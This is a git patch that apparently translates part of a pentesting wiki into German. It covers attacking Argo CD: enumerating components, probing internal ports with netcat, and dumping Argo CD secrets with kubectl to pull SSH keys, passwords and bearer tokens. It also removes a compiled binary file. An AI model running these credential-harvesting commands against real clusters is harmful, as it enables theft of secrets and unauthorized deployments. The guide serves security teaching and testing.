From cbfdf79c3decbc6ff2fe8b1734c394137dfeba76 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 19 Jul 2026 09:25:15 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/RE --- .../__pycache__/translator.cpython-312.pyc | Bin 27040 -> 0 bytes src/pentesting-ci-cd/argocd-security.md | 169 +++++++++--------- .../az-post-exploitation/README.md | 4 + ...az-container-registry-post-exploitation.md | 87 +++++++++ .../az-services/az-container-registry.md | 80 +++++---- 5 files changed, 218 insertions(+), 122 deletions(-) delete mode 100644 scripts/__pycache__/translator.cpython-312.pyc create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md diff --git a/scripts/__pycache__/translator.cpython-312.pyc b/scripts/__pycache__/translator.cpython-312.pyc deleted file mode 100644 index 2635adb4d4ad3afb587347655d1fb2dcab0dd8ef..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 27040 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 diff --git a/src/pentesting-ci-cd/argocd-security.md b/src/pentesting-ci-cd/argocd-security.md index 0dc9a00f6..f56de7920 100644 --- a/src/pentesting-ci-cd/argocd-security.md +++ b/src/pentesting-ci-cd/argocd-security.md @@ -1,17 +1,17 @@ -# Argo CD Security +# Argo CD Sicherheit {{#include ../banners/hacktricks-training.md}} ## Grundlegende Informationen -[Argo CD](https://argo-cd.readthedocs.io/) ist eine GitOps-Continuous-Delivery-Plattform für Kubernetes. Sie überwacht Git-Repositories, rendert Kubernetes-Manifeste mit Tools wie Helm, Kustomize, Jsonnet oder config management plugins und gleicht den Live-Cluster-Status mit dem gewünschten Status ab, der in Git gespeichert ist. +[Argo CD](https://argo-cd.readthedocs.io/) ist eine GitOps-Continuous-Delivery-Plattform für Kubernetes. Sie überwacht Git-Repositories, rendert Kubernetes-Manifeste mit Tools wie Helm, Kustomize, Jsonnet oder Config-Management-Plugins und gleicht den Zustand des laufenden Clusters mit dem in Git gespeicherten gewünschten Zustand ab. -Aus Sicht eines Angreifers sollte Argo CD als eine **Deployment-Engine mit Kubernetes-Anmeldedaten** betrachtet werden. Ein erfolgreicher Kompromiss von Argo CD kann zu Folgendem führen: +Aus Sicht eines Angreifers sollte Argo CD als **Deployment-Engine mit Kubernetes-Credentials** betrachtet werden. Eine erfolgreiche Kompromittierung von Argo CD kann zu Folgendem führen: -- Zugriff auf private Git-Repositories und Repository-Anmeldedaten. +- Zugriff auf private Git-Repositories und Repository-Credentials. - Zugriff auf Kubernetes-Cluster-Secrets, die von Argo CD verwendet werden. -- Code Execution zur Manifest-Generierung in `argocd-repo-server`. -- Unautorisierte Bereitstellung von Kubernetes-Objekten über vertrauenswürdige Git-Repositories, Argo-CD-Applications oder Cache-Manipulation. +- Codeausführung bei der Manifest-Generierung in `argocd-repo-server`. +- Unbefugtes Deployment von Kubernetes-Objekten über vertrauenswürdige Git-Repositories, Argo CD Applications oder Cache-Manipulation. ## Architektur & interessante Komponenten @@ -24,21 +24,21 @@ kubectl get networkpolicy -n argocd 2>/dev/null ``` Interessante Services: -- **`argocd-server`**: öffentliche API, Web-UI, CLI-API, Authentication und Authorization. -- **`argocd-application-controller`**: vergleicht gewünschten und aktuellen Zustand und wendet dann Ressourcen auf Kubernetes an. -- **`argocd-repo-server`**: klont Repositories, cached Git-Daten und führt Helm/Kustomize/Jsonnet/plugins aus, um Manifests zu generieren. Der standardmäßige gRPC-Port ist **8081**. +- **`argocd-server`**: öffentliche API, Web-UI, CLI-API, Authentifizierung und Autorisierung. +- **`argocd-application-controller`**: vergleicht den gewünschten und den aktuellen Status und wendet anschließend Ressourcen auf Kubernetes an. +- **`argocd-repo-server`**: klont Repositories, cached Git-Daten und führt Helm/Kustomize/Jsonnet/Plugins aus, um Manifeste zu generieren. Der standardmäßige gRPC-Port ist **8081**. - **`argocd-redis`**: Cache für Application-, Manifest- und Git-Referenzdaten. Der standardmäßige Redis-Port ist **6379**. -- **`argocd-applicationset-controller`**: generiert Argo CD `Application`-Objekte aus Generatoren wie Git, SCM, Clustern und pull requests. +- **`argocd-applicationset-controller`**: generiert Argo-CD-`Application`-Objekte aus Generatoren wie Git, SCM, Clustern und Pull Requests. -Von einem kompromittierten Pod oder internen Netzwerksegment aus die interne Erreichbarkeit prüfen: +Prüfe von einem kompromittierten Pod oder einem internen Netzwerksegment aus die interne Erreichbarkeit: ```bash nc -vz 443 nc -vz 8081 nc -vz 6379 ``` -## Public API / UI Attacks +## Angriffe auf öffentliche APIs / UIs -Wenn du Argo CD-Credentials oder eine exponierte Instanz hast, beginne mit der normalen API-Oberfläche: +Wenn du über Argo CD-Zugangsdaten oder eine exponierte Instanz verfügst, beginne mit der normalen API-Angriffsfläche: ```bash argocd login argocd account get-user-info @@ -49,15 +49,15 @@ argocd repo list argocd cluster list argocd admin settings rbac can ``` -Nützliche Angriffspfade: +Nützliche Angriffswege: -- **Application write access**: `source.repoURL`, `source.path`, Helm values, Kustomize-Optionen, Plugin-Einstellungen oder Sync-Optionen ändern, damit Argo CD vom Angreifer kontrollierte Manifests deployt. -- **Project misconfiguration**: `AppProject`-Objekte können breite `sourceRepos`, breite `destinations`, unsichere `clusterResourceWhitelist` oder schwache Namespace-Einschränkungen erlauben. -- **Repository credential abuse**: Repository-Secrets, GitHub-App-Credentials, SSH-Keys und Tokens können das Pushen in vertrauenswürdige Repos oder das Hinzufügen bösartiger Abhängigkeiten ermöglichen. -- **Cluster credential abuse**: Cluster-Secrets können Bearer-Tokens oder exec-provider-Konfiguration enthalten, die von Argo CD verwendet werden, um in Ziel-Cluster zu deployen. -- **Local admin / project tokens**: Lang lebige Argo CD-Tokens können über die API wiederverwendet werden, solange sie nicht widerrufen oder abgelaufen sind. +- **Schreibzugriff auf Applications**: `source.repoURL`, `source.path`, Helm values, Kustomize options, Plugin-Einstellungen oder Sync-Optionen ändern, sodass Argo CD vom Angreifer kontrollierte Manifeste deployt. +- **Fehlkonfiguration des Projects**: `AppProject`-Objekte können weit gefasste `sourceRepos`, weit gefasste `destinations`, unsichere `clusterResourceWhitelist` oder unzureichende Namespace-Beschränkungen erlauben. +- **Missbrauch von Repository-Credentials**: Repository-Secrets, GitHub App-Credentials, SSH-Keys und Tokens können das Pushen in vertrauenswürdige Repositories oder das Hinzufügen bösartiger Dependencies ermöglichen. +- **Missbrauch von Cluster-Credentials**: Cluster-Secrets können Bearer-Tokens oder eine Exec-Provider-Konfiguration enthalten, die Argo CD für Deployments in Ziel-Cluster verwendet. +- **Lokale Admin-/Project-Tokens**: Lang gültige Argo-CD-Tokens können über die API wiederverwendet werden, sofern sie nicht widerrufen wurden oder abgelaufen sind. -Enumerate configuration from Kubernetes when you have cluster read access: +Konfiguration aus Kubernetes auflisten, wenn du Lesezugriff auf den Cluster hast: ```bash kubectl get applications.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml @@ -65,65 +65,65 @@ kubectl get applicationsets.argoproj.io -A -o yaml kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey' kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml ``` -## Trusted Git Repository Abuse +## Missbrauch vertrauenswürdiger Git-Repositories -Wenn du in ein Repository pushen kannst, dem Argo CD vertraut, kannst du normalerweise beeinflussen, was deployed wird. Der Impact hängt von den `AppProject`-Grenzen und den Service-Account-Berechtigungen ab, die der application controller verwendet. +Wenn du in ein von Argo CD als vertrauenswürdig eingestuftes Repository pushen kannst, kannst du normalerweise beeinflussen, was deployed wird. Die Auswirkungen hängen von den Grenzen des `AppProject` und den Berechtigungen des Service Accounts ab, die vom Application Controller verwendet werden. -Häufige Payload-Positionen: +Häufige Speicherorte für Payloads: -- Raw Kubernetes YAML unter einem application path. -- Helm chart templates und `values.yaml`. -- Kustomize overlays, remote bases und generators. -- Jsonnet oder config management plugin input. -- ApplicationSet generator files, die `Application`-Objekte erstellen oder updaten. +- Unverändertes Kubernetes-YAML unter einem Application-Pfad. +- Helm-Chart-Templates und `values.yaml`. +- Kustomize-Overlays, Remote-Bases und Generatoren. +- Jsonnet- oder Config-Management-Plugin-Eingaben. +- ApplicationSet-Generator-Dateien, die `Application`-Objekte erstellen oder aktualisieren. -Prüfe, ob die app automated sync, pruning, self-heal, sync windows oder manual approvals verwendet: +Prüfe, ob die App automatisierte Synchronisierung, Pruning, Self-Healing, Sync Windows oder manuelle Freigaben verwendet: ```bash kubectl get applications.argoproj.io -A \ -o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server' ``` -## Direktes Missbrauchen von `argocd-repo-server` +## Direkter Missbrauch von `argocd-repo-server` -Gehe nicht davon aus, dass die öffentliche Argo CD API die einzige Angriffsfläche ist. Interne Argo CD-Komponenten kommunizieren mit `argocd-repo-server` über gRPC. Wenn beliebige Pods repo-server erreichen können, können angreifer-kontrollierte interne Requests die Checks umgehen, die normalerweise von `argocd-server` erzwungen werden. +Gehe nicht davon aus, dass die öffentliche Argo-CD-API die einzige Angriffsfläche ist. Interne Argo-CD-Komponenten kommunizieren über gRPC mit 